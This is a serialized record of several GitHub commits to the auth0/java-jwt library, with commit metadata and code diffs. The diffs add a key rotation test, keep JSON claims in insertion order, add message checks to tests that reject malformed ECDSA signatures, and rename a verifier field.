@@ -518,16 +550,26 @@ public void shouldReturnNullSigningKeyIdIfCreatedWithDefaultProvider() {
         RSAKeyProvider provider = RSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new RSAAlgorithm("some-alg", "some-algorithm", provider);
 
-        assertThat(algorithm.getSigningKeyId(), is(nullValue()));
+        assertThat(algorithm.getPrivateKeyDetails().getPrivateKeyId(), is(nullValue()));
     }
 
     @Test
     public void shouldReturnSigningKeyIdFromProvider() {
         RSAKeyProvider provider = mock(RSAKeyProvider.class);
-        when(provider.getPrivateKeyId()).thenReturn("keyId");
+        when(provider.getPrivateKeyDetails()).thenReturn(new PrivateKeyDetail<RSAPrivateKey>() {
+            @Override
+            public RSAPrivateKey getPrivateKey() {
+                return null;
+            }
+
+            @Override
+            public String getPrivateKeyId() {
+                return "keyId";
+            }
+        });
         Algorithm algorithm = new RSAAlgorithm("some-alg", "some-algorithm", provider);
 
-        assertThat(algorithm.getSigningKeyId(), is("keyId"));
+        assertThat(algorithm.getPrivateKeyDetails().getPrivateKeyId(), is("keyId"));
     }
 
     @Testueu(4eb5346d6bfd9b33fcfc4a7ba6cc45d4f66439e8}(sha(4eb5346d6bfd9b33fcfc4a7ba6cc45d4f66439e8node_idEC_kwDOAQtL0doAKDRlYjUzNDZkNmJmZDliMzNmY2ZjNGE3YmE2Y2M0NWQ0ZjY2NDM5ZTgcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-31T07:08:48Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-03-31T07:08:48ZumessageAdd key rotation testtree}(j  (0f2fcbf3dbc170c03b3c05832141aba722a80b94url^https://api.github.com/repos/auth0/java-jwt/git/trees/0f2fcbf3dbc170c03b3c05832141aba722a80b94uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/4eb5346d6bfd9b33fcfc4a7ba6cc45d4f66439e8
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/4eb5346d6bfd9b33fcfc4a7ba6cc45d4f66439e8html_urlQhttps://github.com/auth0/java-jwt/commit/4eb5346d6bfd9b33fcfc4a7ba6cc45d4f66439e8comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/4eb5346d6bfd9b33fcfc4a7ba6cc45d4f66439e8/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj*  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j/  	poovamrajj1  J j  MDQ6VXNlcjE1OTEwNDI1j3  4https://avatars.githubusercontent.com/u/15910425?v=4j5  h3j  &https://api.github.com/users/poovamrajj*  https://github.com/poovamrajj8  0https://api.github.com/users/poovamraj/followersj:  =https://api.github.com/users/poovamraj/following{/other_user}j<  6https://api.github.com/users/poovamraj/gists{/gist_id}j>  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j@  4https://api.github.com/users/poovamraj/subscriptionsjB  +https://api.github.com/users/poovamraj/orgsjD  ,https://api.github.com/users/poovamraj/reposjF  7https://api.github.com/users/poovamraj/events{/privacy}jH  6https://api.github.com/users/poovamraj/received_eventsjJ  UserjL  uparents]}(j  (3be4b38d784b22f8e28fa39e8cdcf66643074b7ej  \https://api.github.com/repos/auth0/java-jwt/commits/3be4b38d784b22f8e28fa39e8cdcf66643074b7ej*  Qhttps://github.com/auth0/java-jwt/commit/3be4b38d784b22f8e28fa39e8cdcf66643074b7euastats}(totalKv	additionsKv	deletionsK ufiles]}(j  (5e90f694807d04f1a4761dbdc09cad614727f87cfilename4lib/src/test/java/com/auth0/jwt/KeyRotationTest.javastatusaddedjf  Kvjg  K changesKvblob_urlhttps://github.com/auth0/java-jwt/blob/4eb5346d6bfd9b33fcfc4a7ba6cc45d4f66439e8/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FKeyRotationTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/4eb5346d6bfd9b33fcfc4a7ba6cc45d4f66439e8/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FKeyRotationTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FKeyRotationTest.java?ref=4eb5346d6bfd9b33fcfc4a7ba6cc45d4f66439e8patchX  @@ -0,0 +1,118 @@
+package com.auth0.jwt;
+
+import com.auth0.jwt.algorithms.Algorithm;
+import com.auth0.jwt.exceptions.JWTVerificationException;
+import com.auth0.jwt.interfaces.ECDSAKeyProvider;
+import org.junit.Assert;
+import org.junit.Test;
+
+import java.security.*;
+import java.security.interfaces.ECPrivateKey;
+import java.security.interfaces.ECPublicKey;
+import java.security.spec.ECGenParameterSpec;
+import java.util.concurrent.ConcurrentHashMap;
+
+public class KeyRotationTest {
+    private static class IdentifiedKey {
+        private final String id;
+        private final KeyPair keyPair;
+
+        IdentifiedKey(final String id, final KeyPair keyPair) {
+            this.id = id;
+            this.keyPair = keyPair;
+        }
+
+        ECPublicKey getPublic() {
+            return (ECPublicKey) keyPair.getPublic();
+        }
+
+        ECPrivateKey getPrivate() {
+            return (ECPrivateKey) keyPair.getPrivate();
+        }
+    }
+
+    private static class KeyProvider implements ECDSAKeyProvider {
+        private final long rotationFrequency;
+
+        private final KeyPairGenerator keyPairGenerator;
+
+        private final ConcurrentHashMap<String, IdentifiedKey> keys = new ConcurrentHashMap<>();
+        private long currentKey = 0L;
+
+        KeyProvider(final long rotationFrequency) throws NoSuchAlgorithmException, InvalidAlgorithmParameterException {
+            this.rotationFrequency = rotationFrequency;
+            keyPairGenerator = KeyPairGenerator.getInstance("EC");
+            keyPairGenerator.initialize(new ECGenParameterSpec("NIST P-256"), SecureRandom.getInstanceStrong());
+        }
+
+        @Override
+        public ECPublicKey getPublicKeyById(final String keyId) {
+            return keys.get(keyId).getPublic();
+        }
+
+        private IdentifiedKey generateKey(final String id) {
+            return new IdentifiedKey(id, keyPairGenerator.generateKeyPair());
+        }
+
+        private IdentifiedKey currentKey() {
+            final long now = System.currentTimeMillis() / rotationFrequency;
+            final IdentifiedKey key;
+            if (now != currentKey) {
+                currentKey = now;
+                key = generateKey(String.valueOf(now));
+                keys.put(key.id, key);
+            } else {
+                key = keys.get(String.valueOf(now));
+            }
+            return key;
+        }
+
+        @Override
+        public ECPrivateKey getPrivateKey() {
+            return currentKey().getPrivate();
+        }
+
+        @Override
+        public String getPrivateKeyId() {
+            return currentKey().id;
+        }
+    }
+
+    @Test
+    public void generateAndValidate1000Tokens10sRotation() throws InvalidAlgorithmParameterException, NoSuchAlgorithmException {
+        runTest(10_000, 10000);
+    }
+
+    @Test
+    public void generateAndValidate1000Tokens1sRotation() throws InvalidAlgorithmParameterException, NoSuchAlgorithmException {
+        runTest(1_000, 10000);
+    }
+
+    @Test
+    public void generateAndValidate1000Tokens100msRotation() throws InvalidAlgorithmParameterException, NoSuchAlgorithmException {
+        runTest(100, 10000);
+    }
+
+    @Test
+    public void generateAndValidate1000Tokens10msRotation() throws InvalidAlgorithmParameterException, NoSuchAlgorithmException {
+        runTest(10, 10000);
+    }
+
+    private void runTest(final long rotationFrequency, final int iterations) throws InvalidAlgorithmParameterException, NoSuchAlgorithmException {
+        final KeyProvider provider = new KeyProvider(rotationFrequency);
+        final Algorithm algorithm = Algorithm.ECDSA256(provider);
+        final JWTVerifier verifier = JWTVerifier.init(algorithm).build();
+        for (int i = 0; i < iterations; i++) {
+            generateAndValidate(algorithm, verifier, i);
+        }
+    }
+
+    private void generateAndValidate(final Algorithm algorithm, final JWTVerifier verifier, final int iteration) {
+        try {
+            final String token = JWT.create().sign(algorithm);
+            verifier.verify(token);
+        } catch (final JWTVerificationException e) {
+            Assert.fail("Token " + iteration + " verification failed: " + e.getMessage());
+        }
+    }
+}
\ No newline at end of fileuau(b8c91b7d0b3ef4c54e09c6a4db273bf208b7956a}(sha(b8c91b7d0b3ef4c54e09c6a4db273bf208b7956anode_idEC_kwDOAQtL0doAKGI4YzkxYjdkMGIzZWY0YzU0ZTA5YzZhNGRiMjczYmYyMDhiNzk1NmEcommit}(author}(nameRobin Karlssonemailsnago86@gmail.comdate2023-03-27T15:40:17Zu	committer}(j  Robin Karlssonj  snago86@gmail.comj  2023-03-27T15:42:34Zumessage(Preserve insertion order for JSON claimstree}(j{  (27a475714b45f31768eeb02c87ab8dd13e3ea592url^https://api.github.com/repos/auth0/java-jwt/git/trees/27a475714b45f31768eeb02c87ab8dd13e3ea592uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/b8c91b7d0b3ef4c54e09c6a4db273bf208b7956a
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/b8c91b7d0b3ef4c54e09c6a4db273bf208b7956ahtml_urlQhttps://github.com/auth0/java-jwt/commit/b8c91b7d0b3ef4c54e09c6a4db273bf208b7956acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/b8c91b7d0b3ef4c54e09c6a4db273bf208b7956a/commentsj  }(loginsnagoidJρ j}  MDQ6VXNlcjU1NzUxOQ==
avatar_url2https://avatars.githubusercontent.com/u/557519?v=4gravatar_idh3j  "https://api.github.com/users/snagoj  https://github.com/snago
followers_url,https://api.github.com/users/snago/followers
following_url9https://api.github.com/users/snago/following{/other_user}	gists_url2https://api.github.com/users/snago/gists{/gist_id}starred_url9https://api.github.com/users/snago/starred{/owner}{/repo}subscriptions_url0https://api.github.com/users/snago/subscriptionsorganizations_url'https://api.github.com/users/snago/orgs	repos_url(https://api.github.com/users/snago/repos
events_url3https://api.github.com/users/snago/events{/privacy}received_events_url2https://api.github.com/users/snago/received_eventstypeUser
site_adminuj  }(j  snagoj  Jρ j}  MDQ6VXNlcjU1NzUxOQ==j  2https://avatars.githubusercontent.com/u/557519?v=4j  h3j  "https://api.github.com/users/snagoj  https://github.com/snagoj  ,https://api.github.com/users/snago/followersj  9https://api.github.com/users/snago/following{/other_user}j  2https://api.github.com/users/snago/gists{/gist_id}j  9https://api.github.com/users/snago/starred{/owner}{/repo}j  0https://api.github.com/users/snago/subscriptionsj  'https://api.github.com/users/snago/orgsj  (https://api.github.com/users/snago/reposj  3https://api.github.com/users/snago/events{/privacy}j  2https://api.github.com/users/snago/received_eventsj  Userj  uparents]}(j{  (d713cecdbb4fc0641dca9008463add8849a42d6ej  \https://api.github.com/repos/auth0/java-jwt/commits/d713cecdbb4fc0641dca9008463add8849a42d6ej  Qhttps://github.com/auth0/java-jwt/commit/d713cecdbb4fc0641dca9008463add8849a42d6euastats}(totalK	additionsK	deletionsKufiles](}(j{  (0b0d21e4288b4b0a00ccec47c43974a7f915d1f3filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj۟  Kjܟ  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/b8c91b7d0b3ef4c54e09c6a4db273bf208b7956a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/b8c91b7d0b3ef4c54e09c6a4db273bf208b7956a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=b8c91b7d0b3ef4c54e09c6a4db273bf208b7956apatchX*  @@ -112,7 +112,7 @@ public Builder withHeader(String headerClaimsJson) throws IllegalArgumentExcepti
             }
 
             try {
-                Map<String, Object> headerClaims = mapper.readValue(headerClaimsJson, HashMap.class);
+                Map<String, Object> headerClaims = mapper.readValue(headerClaimsJson, LinkedHashMap.class);
                 return withHeader(headerClaims);
             } catch (JsonProcessingException e) {
                 throw new IllegalArgumentException("Invalid header JSON", e);
@@ -508,7 +508,7 @@ public Builder withPayload(String payloadClaimsJson) throws IllegalArgumentExcep
             }
 
             try {
-                Map<String, Object> payloadClaims =  mapper.readValue(payloadClaimsJson, HashMap.class);
+                Map<String, Object> payloadClaims =  mapper.readValue(payloadClaimsJson, LinkedHashMap.class);
                 return withPayload(payloadClaims);
             } catch (JsonProcessingException e) {
                 throw new IllegalArgumentException("Invalid payload JSON", e);u}(j{  (cd26e3ee480b79a3ba875776d35bb0f3dbc090c7j  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj  modifiedj۟  K	jܟ  Kj  Kj  https://github.com/auth0/java-jwt/blob/b8c91b7d0b3ef4c54e09c6a4db273bf208b7956a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://github.com/auth0/java-jwt/raw/b8c91b7d0b3ef4c54e09c6a4db273bf208b7956a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=b8c91b7d0b3ef4c54e09c6a4db273bf208b7956aj  XE  @@ -3,7 +3,6 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
-import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.databind.ObjectMapper;
 import com.fasterxml.jackson.databind.node.ObjectNode;
 import org.junit.Rule;
@@ -974,7 +973,7 @@ public void withPayloadShouldSupportJsonValueWithNestedDataStructure() {
                 .sign(Algorithm.HMAC256("secret"));
 
         assertThat(jwt, is(notNullValue()));
-        String[] parts = jwt.split("\\.");
+        String[] parts = jwt.split("\\.")  ;
         String payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
 
         assertThat(payloadJson, JsonMatcher.hasEntry("stringClaim", stringClaim));
@@ -1014,16 +1013,21 @@ public void shouldCreatePayloadWithNullForList() {
 
     @Test
     public void shouldPreserveInsertionOrder() throws Exception {
-        List<String> headerInsertionOrder = new ArrayList<>();
+        String taxonomyJson = "{\"class\": \"mammalia\", \"order\": \"carnivora\", \"family\": \"canidae\", \"genus\": \"vulpes\"}";
+        List<String> taxonomyClaims = Arrays.asList("class", "order", "family", "genus");
+        List<String> headerInsertionOrder = new ArrayList<>(taxonomyClaims);
         Map<String, Object> header = new LinkedHashMap<>();
         for (int i = 0; i < 10; i++) {
             String key = "h" + i;
             header.put(key, "v" + 1);
             headerInsertionOrder.add(key);
         }
 
-        List<String> payloadInsertionOrder = new ArrayList<>();
-        JWTCreator.Builder builder = JWTCreator.init().withHeader(header);
+        List<String> payloadInsertionOrder = new ArrayList<>(taxonomyClaims);
+        JWTCreator.Builder builder = JWTCreator.init()
+                .withHeader(taxonomyJson)
+                .withHeader(header)
+                .withPayload(taxonomyJson);
         for (int i = 0; i < 10; i++) {
             String name = "c" + i;
             builder = builder.withClaim(name, "v" + i);ueu(645b40a4c9ee9ed62e49d5bebda2c8a6c9d3221a}(sha(645b40a4c9ee9ed62e49d5bebda2c8a6c9d3221anode_idEC_kwDOAQtL0doAKDY0NWI0MGE0YzllZTllZDYyZTQ5ZDViZWJkYTJjOGE2YzlkMzIyMWEcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-05T09:54:49Zu	committer}(j   
Poovamraj T Tj  poovamraj@gmail.comj  2022-05-05T09:54:49Zumessage2Added test cases to differentiate thrown exceptiontree}(j  (64ce98eaf3cab8c93e24fca839ed6eb51b1bd24eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/64ce98eaf3cab8c93e24fca839ed6eb51b1bd24euj  `https://api.github.com/repos/auth0/java-jwt/git/commits/645b40a4c9ee9ed62e49d5bebda2c8a6c9d3221a
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/645b40a4c9ee9ed62e49d5bebda2c8a6c9d3221ahtml_urlQhttps://github.com/auth0/java-jwt/commit/645b40a4c9ee9ed62e49d5bebda2c8a6c9d3221acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/645b40a4c9ee9ed62e49d5bebda2c8a6c9d3221a/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionse      organizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j!  	poovamrajj#  J j  MDQ6VXNlcjE1OTEwNDI1j%  4https://avatars.githubusercontent.com/u/15910425?v=4j'  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj*  0https://api.github.com/users/poovamraj/followersj,  =https://api.github.com/users/poovamraj/following{/other_user}j.  6https://api.github.com/users/poovamraj/gists{/gist_id}j0  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j2  4https://api.github.com/users/poovamraj/subscriptionsj4  +https://api.github.com/users/poovamraj/orgsj6  ,https://api.github.com/users/poovamraj/reposj8  7https://api.github.com/users/poovamraj/events{/privacy}j:  6https://api.github.com/users/poovamraj/received_eventsj<  Userj>  uparents]}(j  (208d7b66c281fcd91dbc5d83fe51d676ee5e0d51j  \https://api.github.com/repos/auth0/java-jwt/commits/208d7b66c281fcd91dbc5d83fe51d676ee5e0d51j  Qhttps://github.com/auth0/java-jwt/commit/208d7b66c281fcd91dbc5d83fe51d676ee5e0d51uastats}(totalK	additionsK	deletionsK ufiles]}(j  (44d9e6db23acf606a9d0bc61835710e5fb5d3375filenameBlib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javastatusmodifiedjX  KjY  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/645b40a4c9ee9ed62e49d5bebda2c8a6c9d3221a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/645b40a4c9ee9ed62e49d5bebda2c8a6c9d3221a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=645b40a4c9ee9ed62e49d5bebda2c8a6c9d3221apatchX	  @@ -1370,6 +1370,7 @@ public void emptyECDSA256SignatureShouldFailTokenVerification() throws Exception
     @Test
     public void signatureWithAllZerosShouldFail() throws Exception {
         exception.expect(SignatureException.class);
+        exception.expectMessage("Invalid Signature: All Zeros.");
 
         ECPublicKey pubKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
 
@@ -1381,6 +1382,7 @@ public void signatureWithAllZerosShouldFail() throws Exception {
     @Test
     public void signatureWithRZeroShouldFail() throws Exception {
         exception.expect(SignatureException.class);
+        exception.expectMessage("Invalid Signature: All Zeros for R value.");
 
         ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
         ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
@@ -1406,6 +1408,7 @@ public void signatureWithRZeroShouldFail() throws Exception {
     @Test
     public void signatureWithSZeroShouldFail() throws Exception {
         exception.expect(SignatureException.class);
+        exception.expectMessage("Invalid Signature: All Zeros for S value.");
 
         ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
         ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
@@ -1431,6 +1434,7 @@ public void signatureWithSZeroShouldFail() throws Exception {
     @Test
     public void signatureWithRValueNotLessThanOrderShouldFail() throws Exception {
         exception.expect(SignatureException.class);
+        exception.expectMessage("The difference between R value and order should be greater than one.");
 
         ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
         ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
@@ -1448,6 +1452,7 @@ public void signatureWithRValueNotLessThanOrderShouldFail() throws Exception {
     @Test
     public void signatureWithSValueNotLessThanOrderShouldFail() throws Exception {
         exception.expect(SignatureException.class);
+        exception.expectMessage("The difference between S value and order should be greater than one.");
 
         ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
         ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");uau(d712ddb00c8e3401dbc1489c9e8a22b9813e011c}(sha(d712ddb00c8e3401dbc1489c9e8a22b9813e011cnode_idEC_kwDOAQtL0doAKGQ3MTJkZGIwMGM4ZTM0MDFkYmMxNDg5YzllOGEyMmI5ODEzZTAxMWMcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-16T15:43:17Zu	committer}(ju  James Andersonjw  jim.anderson@auth0.comjy  2022-03-16T15:43:17Zumessage7Rename claims -> expectedClaims in verifier for claritytree}(jm  (c9e69510481b0de3ea7c0f0e0cdce04302c8661curl^https://api.github.com/repos/auth0/java-jwt/git/trees/c9e69510481b0de3ea7c0f0e0cdce04302c8661cuj  `https://api.github.com/repos/auth0/java-jwt/git/commits/d712ddb00c8e3401dbc1489c9e8a22b9813e011c
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/d712ddb00c8e3401dbc1489c9e8a22b9813e011chtml_urlQhttps://github.com/auth0/java-jwt/commit/d712ddb00c8e3401dbc1489c9e8a22b9813e011ccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/d712ddb00c8e3401dbc1489c9e8a22b9813e011c/commentsjs  }(login
jimmyjamesidJ7 jo  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj{  }(j  
jimmyjamesj  J7 jo  MDQ6VXNlcjI3NjIyNQ==j  2https://avatars.githubusercontent.com/u/276225?v=4j  h3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj  uparents]}(jm  (e7cae2b56f51143b4cd373639f65557e0877c0ffj  \https://api.github.com/repos/auth0/java-jwt/commits/e7cae2b56f51143b4cd373639f65557e0877c0ffj  Qhttps://github.com/auth0/java-jwt/commit/e7cae2b56f51143b4cd373639f65557e0877c0ffuastats}(totalK$	additionsK	deletionsKufiles]}(jm  (a554fa313933898d5a7361bd1d7160cf492a5e68filename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedj͠  KjΠ  KchangesK$blob_urlhttps://github.com/auth0/java-jwt/blob/d712ddb00c8e3401dbc1489c9e8a22b9813e011c/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/d712ddb00c8e3401dbc1489c9e8a22b9813e011c/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=d712ddb00c8e3401dbc1489c9e8a22b9813e011cpatchX  @@ -23,16 +23,16 @@
 @SuppressWarnings("WeakerAccess")
 public final class JWTVerifier implements com.auth0.jwt.interfaces.JWTVerifier {
     private final Algorithm algorithm;
-    final Map<String, Object> claims;
+    final Map<String, Object> expectedClaims;
     private final Clock clock;
     private final JWTParser parser;
 
     static final String AUDIENCE_EXACT = "AUDIENCE_EXACT";
     static final String AUDIENCE_CONTAINS = "AUDIENCE_CONTAINS";
 
-    JWTVerifier(Algorithm algorithm, Map<String, Object> claims, Clock clock) {
+    JWTVerifier(Algorithm algorithm, Map<String, Object> expectedClaims, Clock clock) {
         this.algorithm = algorithm;
-        this.claims = Collections.unmodifiableMap(claims);
+        this.expectedClaims = Collections.unmodifiableMap(expectedClaims);
         this.clock = clock;
         this.parser = new JWTParser();
     }
@@ -50,7 +50,7 @@ static Verification init(Algorithm algorithm) throws IllegalArgumentException {
 
     public static class BaseVerification implements Verification {
         private final Algorithm algorithm;
-        private final Map<String, Object> claims;
+        private final Map<String, Object> expectedClaims;
         private long defaultLeeway;
         private boolean ignoreIssuedAt;
 
@@ -60,7 +60,7 @@ public static class BaseVerification implements Verification {
             }
 
             this.algorithm = algorithm;
-            this.claims = new HashMap<>();
+            this.expectedClaims = new HashMap<>();
             this.defaultLeeway = 0;
         }
 
@@ -78,14 +78,14 @@ public Verification withSubject(String subject) {
 
         @Override
         public Verification withAudience(String... audience) {
-            claims.remove(AUDIENCE_CONTAINS);
+            expectedClaims.remove(AUDIENCE_CONTAINS);
             requireClaim(AUDIENCE_EXACT, isNullOrEmpty(audience) ? null : Arrays.asList(audience));
             return this;
         }
 
         @Override
         public Verification withAnyOfAudience(String... audience) {
-            claims.remove(AUDIENCE_EXACT);
+            expectedClaims.remove(AUDIENCE_EXACT);
             requireClaim(AUDIENCE_CONTAINS, isNullOrEmpty(audience) ? null : Arrays.asList(audience));
             return this;
         }
@@ -220,7 +220,7 @@ public JWTVerifier build() {
          */
         public JWTVerifier build(Clock clock) {
             addLeewayToDateClaims();
-            return new JWTVerifier(algorithm, claims, clock);
+            return new JWTVerifier(algorithm, expectedClaims, clock);
         }
 
         private void assertPositive(long leeway) {
@@ -236,27 +236,27 @@ private void assertNonNull(String name) {
         }
 
         private void addLeewayToDateClaims() {
-            if (!claims.containsKey(PublicClaims.EXPIRES_AT)) {
-                claims.put(PublicClaims.EXPIRES_AT, defaultLeeway);
+            if (!expectedClaims.containsKey(PublicClaims.EXPIRES_AT)) {
+                expectedClaims.put(PublicClaims.EXPIRES_AT, defaultLeeway);
             }
-            if (!claims.containsKey(PublicClaims.NOT_BEFORE)) {
-                claims.put(PublicClaims.NOT_BEFORE, defaultLeeway);
+            if (!expectedClaims.containsKey(PublicClaims.NOT_BEFORE)) {
+                expectedClaims.put(PublicClaims.NOT_BEFORE, defaultLeeway);
             }
             if (ignoreIssuedAt) {
-                claims.remove(PublicClaims.ISSUED_AT);
+                expectedClaims.remove(PublicClaims.ISSUED_AT);
                 return;
             }
-            if (!claims.containsKey(PublicClaims.ISSUED_AT)) {
-                claims.put(PublicClaims.ISSUED_AT, defaultLeeway);
+            if (!expectedClaims.containsKey(PublicClaims.ISSUED_AT)) {
+                expectedClaims.put(PublicClaims.ISSUED_AT, defaultLeeway);
             }
         }
 
         private void requireClaim(String name, Object value) {
             if (value == null) {
-                claims.remove(name);
+                expectedClaims.remove(name);
                 return;
             }
-            claims.put(name, value);
+            expectedClaims.put(name, value);
         }
     }
 
@@ -305,7 +305,7 @@ public DecodedJWT verify(String token) throws JWTVerificationException {
     public DecodedJWT verify(DecodedJWT jwt) throws JWTVerificationException {
         verifyAlgorithm(jwt, algorithm);
         algorithm.verify(jwt);
-        verifyClaims(jwt, claims);
+        verifyClaims(jwt, expectedClaims);
         return jwt;
     }
